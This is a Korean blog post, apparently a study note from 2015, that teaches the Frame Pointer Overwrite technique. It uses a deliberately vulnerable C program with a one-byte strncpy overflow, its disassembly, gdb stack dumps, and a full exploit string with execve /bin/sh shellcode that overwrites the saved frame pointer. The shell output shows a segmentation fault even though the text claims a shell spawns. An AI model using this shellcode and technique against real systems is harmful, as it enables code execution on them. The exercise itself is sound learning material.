ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • FPO(Frame Pointer Overwrite]
    Hack/Pwnable 2015. 12. 2. 03:36

    FPO는 1바이트를 덮음으로써 함수가 끝나기전 leave 명령으로 mov ebp,esp 와 pop ebp가 존재한다.


    우리는 BUF + SFP + RET인점을 이용해서 1바이트 오버플로우로 인해 0Xbfffff??, 한바이트를 바꿀수있는데, 이로서 쉘코드를 실행할수있는 장점이존재한다.


    #include <stdio.h>

    #include <string.h>


    void overflow(char *arg)

    {

    char buffer[40];

    strncpy(buffer,arg,41);

    printf("%s",buffer);

    }

    int main(int argc, char *argv[])

    {

    overflow(argv[1]);

    }


    아주 간단한 코드이다.
    overflow함수로 인자를 넘겨주는데 argv1을 넘기고 strncpy에서 버퍼+1만큼의 사이즈를 넣을수있다. 정확히 1바이트 오버플로우가 존재한다.


       0x0804844d <+0>: push   %ebp

       0x0804844e <+1>: mov    %esp,%ebp

       0x08048450 <+3>: sub    $0x34,%esp

       0x08048453 <+6>: movl   $0x29,0x8(%esp)

       0x0804845b <+14>: mov    0x8(%ebp),%eax

       0x0804845e <+17>: mov    %eax,0x4(%esp)

       0x08048462 <+21>: lea    -0x28(%ebp),%eax

       0x08048465 <+24>: mov    %eax,(%esp)

       0x08048468 <+27>: call   0x8048340 <strncpy@plt>

       0x0804846d <+32>: lea    -0x28(%ebp),%eax

       0x08048470 <+35>: mov    %eax,0x4(%esp)

       0x08048474 <+39>: movl   $0x8048530,(%esp)

       0x0804847b <+46>: call   0x8048310 <printf@plt>

       0x08048480 <+51>: leave  

       0x08048481 <+52>: ret 


    leave 라는 가젯이 존재한다. 쉘코드를 넣고 ebp를 확인해보자



    (gdb) r $(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x90"*15')


    딱 40바이트를 맞춰주고 스택을 확인해보자 

    (gdb) x/20x $esp-4
    0xbffff564: 0x0804846d 0xbffff574 0xbffff7c9 0x00000029
    0xbffff574: 0x6850c031 0x68732f2f 0x69622f68 0x50e3896e
    0xbffff584: 0x89e18953 0xcd0bb0c2 0x90909080 0x90909090
    0xbffff594: 0x90909090 0x90909090 0xbffff588 0x08048497
    0xbffff5a4: 0xbffff7c9 0x00000000 0xb7e2fa83 0x00000002

    esp에 쉘코드시작주소가 들어가있고, 쉘코드를 넣고나서 바로뒤에 41바이트째엔 ebp가 들어가있다 저 주소를 우리가 조작할수있다는점을 주목하면, 우리가 다음 ebp를 esp로 맞춰버린다면 쉘코드가 실행될것이다. 직접 해보자

    Starting program: /home/s0ngsari/Desktop/study/febp/fpo $(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x90"*15 + "\x74"')

    Breakpoint 1, 0x08048468 in overflow ()
    (gdb) ni
    0x0804846d in overflow ()
    (gdb) x/20x $esp-4
    0xbffff564: 0x0804846d 0xbffff574 0xbffff7c9 0x00000029
    0xbffff574: 0x6850c031 0x68732f2f 0x69622f68 0x50e3896e
    0xbffff584: 0x89e18953 0xcd0bb0c2 0x90909080 0x90909090
    0xbffff594: 0x90909090 0x90909090 0xbffff574 0x08048497
    0xbffff5a4: 0xbffff7c9 0x00000000 0xb7e2fa83 0x00000002

    정상적으로 덮여졌다.

    이제 실제 쉘상에서 넣어보도록하자.

    root@s0ngsari-virtual-machine:~/Desktop/study/febp# ./fpo $(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x90"*15 + "\x74"')
    Segmentation fault (core dumped)
    #

    정상적으로 쉘이뜨게된다.

    유저가 1바이트를 오버플로우시킬수있다면 뒤에 위치하는 ebp를 조작해서 다음 실행할때 쉘코드 시작지점으로 바꿔 베이스포인터가 쉘코드를 가리켜, 결국 쉘코드가 실행되게 된다


    'Hack > Pwnable' 카테고리의 다른 글

    kext(kernel extension)  (0) 2015.12.07
    Fake EBP  (0) 2015.12.04
    Sigreturn Oriented Programming(SROP)  (0) 2015.11.24
    Improper Null Termination (SSP)  (0) 2015.11.20
    puts 어셈블리 프로그래밍  (0) 2015.10.06

    댓글

Designed by Tistory.